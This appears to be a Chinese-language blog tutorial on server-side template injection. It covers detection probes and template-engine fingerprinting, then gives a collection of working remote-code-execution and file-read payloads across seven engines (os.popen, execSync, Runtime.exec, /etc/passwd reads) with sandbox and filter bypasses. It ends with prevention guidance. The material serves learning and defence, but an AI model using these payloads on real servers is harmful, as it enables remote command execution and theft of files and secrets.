SSTI服务端模板注入漏洞

定义

SSTI(Server-Side Template Injection,服务端模板注入)

开发框架使用模板引擎(Jinja2、Twig、Freemarker、Velocity 等)渲染页面,当可控用户输入直接拼接进模板代码,而非单纯传入变量时,攻击者可以构造模板语法,在服务器执行任意代码、读取文件。

如何确定是否有 SSTI 漏洞

核心原理:区分「单纯文本输出」和「模板引擎解析执行」

输入特殊模板标记,如果后端把标记当成代码执行 → SSTI;原样打印文字 → 无漏洞。

一、第一步:基础探测(最简 payload,优先发送)

针对 Python Flask-Jinja2(你当前环境)

发送请求:{"template":"{``{7*7}}"}

判断结果:

返回 49

✅ 存在 SSTI,模板引擎执行了数学运算

页面原样输出字符串 {{7*7}}

❌ 不存在 SSTI(后端做了转义,只是普通字符串渲染)

备选探测(区分模板引擎,防止被简单 WAF 拦截)

bash 复制代码
{{3+4}}
{{''}}

二、第二步:区分 SSTI 和 XSS(极易混淆!)

很多人踩坑:

输入 弹窗是 XSS,不是 SSTI;

输入 {{7*7}} 算出结果才是 SSTI。

简单总结:

<> 生效 ≈ HTML/XSS

{{}} 内表达式被执行 ≈ SSTI

三、不同模板引擎探测标记(拓展,CTF 通用)

遇到不同语言网站,测试语法不一样:

bash 复制代码
Python Jinja2(Flask) / PHP Twig
{{7*7}}
Java FreeMarker
${7*7}
Java Velocity
#set($a=7*7) $a
NodeJS Nunjucks
{{7*7}}

四、第三步:验证漏洞深度(确认能否进一步利用)

确认 {{7*7}} 执行成功后,逐级探测,判断是否有沙箱限制:

① 探测能否访问对象属性(无沙箱可 RCE)

bash 复制代码
{"template":"{{config}}"}

输出大量配置信息:Flask 环境,可尝试 config.__class__ 那套 RCE 载荷

返回 Unauthorized / 报错:启用 Jinja2 沙箱 SandboxedEnvironment,直接__xxx__被拦截,要用|attr()绕过

② 沙箱简单判断

发送:

bash 复制代码
{"template":"{{config.__class__}}"}

返回 Error:Unauthorized → 沙箱开启

正常输出类信息 → 无沙箱,原始 payload 直接利用

五、容易误判的几种情况

1、输入 {{7*7}} 页面空白 / 报错 500

有可能存在 SSTI,但 WAF / 过滤拦截了,换变形探测:

bash 复制代码
{{()}}
{{11-3}}

2、URL 编码干扰

GET 传参时需要注意编码;

3、后端只过滤大括号

尝试变体 {%print(7*7)%}(Jinja2 语句标签)

如何确认开发框架使用哪种模板引擎渲染页面

一、整体思路

先通过指纹信息初步猜测框架,再用模板语法探针精准确认模板引擎。

逻辑链:HTTP 响应指纹 → 猜测后端语言 / 框架 → 发送对应模板标记测试 → 根据返回结果锁定模板引擎

一、第一步:抓包看 HTTP 指纹(优先操作,零侵入)

  1. Response Header 重点观察
  2. 页面特征线索
    Flask:页面报错栈出现 werkzeug、jinja2
    SpringBoot 错误页:黄白 Whitelabel Error Page → Thymeleaf
    PHP 页面:.php 后缀
    URL 路径出现 .jsp → Java
    缺点:很多站点会删除 / 伪装 Header,指纹不一定存在,只能做猜测,不能定论。

二、第二步:语法探针测试(最可靠!区分 SSTI 模板引擎)

原理:不同模板引擎使用完全不同的语法标记,逐个发送,看哪条会执行表达式、不会原样输出。

测试原则:一条一条发包,不要一次性全发;如果某一条生效,直接锁定引擎。

探针清单(按 CTF 出现频率排序)

Jinja2(Python Flask / Tornado)

bash 复制代码
{{7*7}}
{% print(7*7) %}

✅ 生效现象:页面输出 49

Twig(PHP Symfony)

bash 复制代码
{{7*7}}

和 Jinja 语法一样!二者探针相同,只能依靠后端语言区分:看是否 PHP 环境。

Freemarker(Java)

bash 复制代码
${7*7}
Velocity(Java)
plaintext
#set($a=7*7) $a

Thymeleaf(SpringBoot Java)

bash 复制代码
[[${7*7}]]

Nunjucks(Node.js Express)

bash 复制代码
{{7*7}}

Smarty(PHP 老框架)

bash 复制代码
{7*7}
关键区分难点:Jinja2 VS Twig VS Nunjucks

三者都使用 {{表达式}},探针一模一样,怎么区分?

方法 1:HTTP 指纹(最先看,零发包)

1)响应头 Server / X-Powered-By

Jinja2(Flask)

Server: Werkzeug

错误堆栈出现:werkzeug、jinja2

Twig(PHP)

X-Powered-By: PHP/7.x

页面后缀常为 .php

Nunjucks(Node)

X-Powered-By: Express

缺点:生产环境经常删除 Header,只能作为辅助猜想,不能下定论。

方法 2:特征对象探针(最实用,CTF 首选)

利用引擎独有的内置全局变量 / 对象发包测试

① 测试是否 Jinja2(Flask 环境专属)

bash 复制代码
{{config}}

返回大量配置信息(SECRET_KEY 等)→ Jinja2 Flask ✅

报错 / 无输出 /undefined → 不是 Jinja2

重点:Twig、Nunjucks 不存在 config 对象

② 区分 Twig VS Nunjucks

排除 Jinja2 后,继续下发探针:

探针 A(Twig 独有 _self)

bash 复制代码
{{_self}}

正常返回模板对象信息 → Twig(PHP)

探针 B(Nunjucks 独有 range 对象构造器)

bash 复制代码
{{range.constructor}}

Nunjucks 中 range 是全局对象;Twig 不存在该对象。

极简发包区分流程(直接复制测试)

发送 {``{config}}

有数据 → Jinja2

无结果 → 继续

发送 {``{_self}}

正常输出对象 → Twig

报错 undefined → Nunjucks

方法 3:语言特性探针(终极区分,万能兜底)

利用三种底层语言语法差异,发送表达式,根据返回结果判定。

原理:模板表达式最终交给底层语言执行。

测试载荷 1:数组字典语法差异

bash 复制代码
{{ [1,2] is iterable }}

Jinja2:支持 is 测试器 → 返回 True

Twig:同样支持,这条无法区分二者

终极区分 Twig(PHP) vs Jinja2(Python)

发送位运算 / 字符串特性,或者调用语言内置函数:

bash 复制代码
{{ 'abc'|upper }}

三者都支持,换这条:{``{ [].keys }}

bash 复制代码
1.Jinja2 (Python) 尝试:
{{().__class__}}
能正常解析、访问类对象 → Jinja2
2. Twig (PHP) 不存在空元组这条继承链,直接报错

终极兜底载荷(区分 Nunjucks)

bash 复制代码
{{range.constructor("return process")()}}

返回 process 对象 → Nunjucks(Node.js)

报错 undefined → Twig

方法 4:错误页面堆栈(准确率极高)

主动构造错误语句,看报错栈关键词:

报错堆栈包含:jinja2 → Jinja2

堆栈出现:Twig_Template、symfony → Twig

堆栈出现:nunjucks、node、express → Nunjucks

构造错误载荷(随便一条):

bash 复制代码
{{abcdefg.aaaaa}}

后端抛出异常,观察页面报错源码。

方法 5:RCE 试探(最后手段,不推荐优先使用)

当以上全部失效,尝试各自语言专属 EXP:

Jinja2(Python)

bash 复制代码
{{''.__class__.__base__}}

成功返回对象 → Jinja2

Twig(PHP)

bash 复制代码
{{_self.env.registerUndefinedFilterCallback("exec")}}

不报错 = Twig

Nunjucks(NodeJS)

bash 复制代码
{{range.constructor("return global")()}}

返回 global 对象 → Nunjucks

bash 复制代码
总结:
测试顺序:HTTP 指纹 → {{config}} → {{_self}} → {{range.constructor}} → 报错堆栈
{{config}} 有效 → Jinja2(Flask)
{{config}} 无效,{{_self}} 有效 → Twig(PHP)
{{config}}、{{_self}} 都无效,{{range.constructor}} 有效 → Nunjucks(Node.js)
高频踩坑提醒
❌ 误区:{{7*7}} 生效 = Jinja2
错!三者全部支持。
❌ 误区:Payload 通用
Jinja2 的 config.__class__ 在 Twig/Nunjucks 完全不能用!
部分非 Flask Jinja2 项目没有 config 变量(如 Tornado),这时就要依靠报错堆栈 + ().__class__ 继承链特征识别。

SSTI漏洞利用

分引擎漏洞 Payload 大全

1. Jinja2(Python Flask)

① Flask 专属链路(最简,优先使用)

✅ 无沙箱(无 Unauthorized 报错)

bash 复制代码
# 命令执行
{{config.__class__.__init__.__globals__['os'].popen('id').read()}}
# 搜索flag并直接打印内容
{{config.__class__.__init__.__globals__['os'].popen('find / -name flag* -type f -exec cat {} \\; 2>/dev/null').read()}}

✅ 有沙箱 SandboxedEnvironment(报错 Unauthorized)

使用 |attr() 绕过禁止直接访问__xxx__

bash 复制代码
{{config|attr("__class__")|attr("__init__")|attr("__globals__")["os"]|attr("popen")('id')|attr("read")()}}

② 通用继承链(非 Flask,没有 config 变量时使用)

无沙箱

bash 复制代码
{{''.__class__.__base__.__subclasses__()[132].__init__.__globals__['os'].popen('id').read()}}

沙箱绕过版

bash 复制代码
{{""|attr("__class__")|attr("__base__")|attr("__subclasses__")()|list()[132]|attr("__init__")|attr("__globals__")["os"]|attr("popen")('id')|attr("read")()}}

⚠️ 132 是 subprocess.Popen,不同 Python 版本下标会变动。

③ 纯文件读取(不执行命令,WAF 更容易放行)

bash 复制代码
{{''.__class__.__base__.__subclasses__()[40]('/etc/passwd').read()}}

2. Twig(PHP Symfony)

没有config对象,Jinja 载荷完全无效

Twig < 1.19.0 经典 RCE

bash 复制代码
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}

新版 Twig 绕过

bash 复制代码
{{['id']|filter('system')}}

文件读取

bash 复制代码
{{include('/etc/passwd')}}

3. Nunjucks(Node.js Express)

bash 复制代码
{{range.constructor("return global.process.mainModule.require('child_process').execSync('id')")()}}

4. Freemarker Java

探测:${7*7}

bash 复制代码
<#assign ex="freemarker.template.utility.Execute"?new()>${ex("id")}

5. Thymeleaf(SpringBoot)

探测:\[${7\*7}]

bash 复制代码
[[${T(java.lang.Runtime).getRuntime().exec("id")}]]

6. Velocity Java

探测:#set( a = 7 ∗ 7 ) a=7*7) a=7∗7)a

bash 复制代码
#set($rt=$context.get("runtime").getClass().forName('java.lang.Runtime').getMethod('getRuntime').invoke(null))$rt.exec('id')

7. Smarty PHP

探测:{7*7}

bash 复制代码
{system('id')}

Jinja2 常见过滤绕过(CTF 高频)

1. 过滤下划线 _

bash 复制代码
{% set a="_" %}{{config|attr(a~a~"class"~a~a)}}

2. 过滤空格

shell 命令用 ${IFS} 替代空格

bash 复制代码
cat${IFS}/etc/passwd

3. 过滤 os / popen

切换 subprocess.Popen 继承链

4. 禁用 方括号取值

改用 .get()

bash 复制代码
{{config|attr("__class__")|attr("__init__")|attr("__globals__")|attr("get")("os")}}

漏洞预防

一、开发层面根治方案(最重要)

1. 规范使用模板渲染 API(强制落实)

Python Flask(Jinja2)

优先使用:render_template("页面文件.html", args=数据)

严禁:render_template_string(用户可控内容)

如果业务必须动态渲染字符串:只允许固定模板,外部数据仅通过参数传入。

PHP Twig / Smarty
bash 复制代码
// ❌ 危险
$tpl->render("Hello ".$userInput);
// ✅ 安全
$tpl->render("Hello {{name}}", ["name" => $userInput]);
Node Nunjucks / Java Freemarker/Thymeleaf

禁止字符串拼接构造模板文本,统一使用参数传值。

2. 禁用危险功能,使用加固沙箱

Jinja2

业务确实需要 render_template_string 动态渲染时,启用沙箱 SandboxedEnvironment,限制魔术方法访问:

bash 复制代码
from jinja2.sandbox import SandboxedEnvironment
env = SandboxedEnvironment()

⚠️ 沙箱只是缓解手段,不能 100% 杜绝所有绕过,优先避免动态渲染。

Twig

开启安全策略:

bash 复制代码
$policy = new \Twig\Sandbox\SecurityPolicy();
$twig->addExtension(new \Twig\Extension\SandboxExtension($policy));

3. 输入输出编码(辅助防护,不能单独防御 SSTI)

很多人混淆 XSS 与 SSTI:

HTML 转义只能防御 XSS,无法防御 SSTI。

SSTI 发生在服务端模板引擎解析阶段,早于 HTML 输出。

👉 不要依赖转义作为 SSTI 主要防护手段。

4. 最小权限原则(纵深防御)

即使被拿下 RCE,限制危害:

Web 服务进程禁止 root/administrator 运行

禁止写入 webshell 目录、禁止对外开放高危命令

容器部署时限制系统调用、挂载目录只读

5. 黑名单不要作为唯一防护

过滤 {{、class 、exec 等特征极易被绕过:

字符串拼接构造魔术方法名

换行、注释、编码变形

黑名单防御可靠性极低,仅作 WAF 辅助策略。

二、代码审计 & 上线前检测

审计结论:只要外部可控参数流入以上函数,判定为高危风险。

三、运维 / 基础设施纵深防御

WAF 策略(辅助)

拦截常见 SSTI 攻击特征:

bash 复制代码
{{}}、[[${}]]、#set(、__class__、__globals__

只能拦截基础攻击,无法抵御变形绕过。

限制 Web 服务器出网

防止漏洞被利用后反弹 Shell、横向移动。

定期更新模板引擎版本

很多旧版本存在已知沙箱逃逸漏洞:

Twig < 1.19.0 RCE

低版本 Jinja2 沙箱绕过

及时升级 Jinja2、Twig、Freemarker、Nunjucks 到最新稳定版。

四、容易踩坑的误区

误区 1:开启 HTML 自动转义就能防 SSTI

❌ 错误

自动转义防止【浏览器解析 XSS】;

SSTI 是服务端模板引擎执行代码,发生在转义之前,完全不受影响。

误区 2:启用沙箱 = 高枕无忧

❌ 错误

沙箱是「缓解措施」,历史上多次爆出沙箱逃逸 Payload。

最优方案:消灭动态模板渲染,而不是依靠沙箱。

误区 3:简单过滤大括号 { } 解决漏洞

❌ 错误

模板引擎存在其他语法标签、攻击者可构造变形载荷绕过过滤。

误区 4:内网业务不需要防护 SSTI

❌ 错误

内网同样存在数据泄露、命令执行、读取数据库配置文件风险。

五、极简总结

1、首选根治方案:禁止可控输入参与模板源码构造,用户数据仅作为模板变量传入。

2、业务强需求必须动态渲染时:启用官方沙箱 + 升级组件至最新版本。

3、进程使用低权限账号运行,做好目录权限隔离(纵深防御)。

4、WAF、关键词过滤仅作为辅助手段,不可单独依赖。

5、代码审计重点排查各类 renderString / render_template_string 动态模板渲染函数。

复制代码
输入验证:对用户传入的template参数进行严格的白名单过滤,禁止包含模板引擎特殊字符
权限控制:禁止使用Root权限运行Web应用,采用最小权限原则,限制可访问的目录
相关推荐
IT小白杨2 小时前
海外业务账号安全保障:主流浏览器产品底层机制对比
数据库·python·安全·自动化·安全架构·指纹浏览器
数据知道2 小时前
网络安全实战:信息收集实战——子域名、端口、指纹、社工信息聚合
网络·安全·web安全·网络安全·servlet
一次旅行15 小时前
2026.08.16 AI产业深度解读|国产大模型全面突围,算力硬件/智能安全/人形机器人四大趋势附落地方案
人工智能·安全·机器人
名字还没想好☜16 小时前
Next.js 用 Server Components 直连数据库:去掉 API 层的边界,和三条别踩的安全红线
前端·javascript·数据库·安全·react·next.js
liulilittle18 小时前
并发与内存安全术语:定义、分类与关联
c++·安全·并发·术语
愚公搬代码20 小时前
【愚公系列】《Web应用安全》006-HackBar插件的使用
前端·安全
sbjdhjd1 天前
企业站 SQL 注入实战:PCRE 正则回溯绕过关键词 WAF 完整实战 | 进阶02
sql·安全·web安全·网络安全·ai·开源·php
愚公搬代码1 天前
【愚公系列】《Web应用安全》005-Visual Studio Code编辑器的使用
前端·安全·编辑器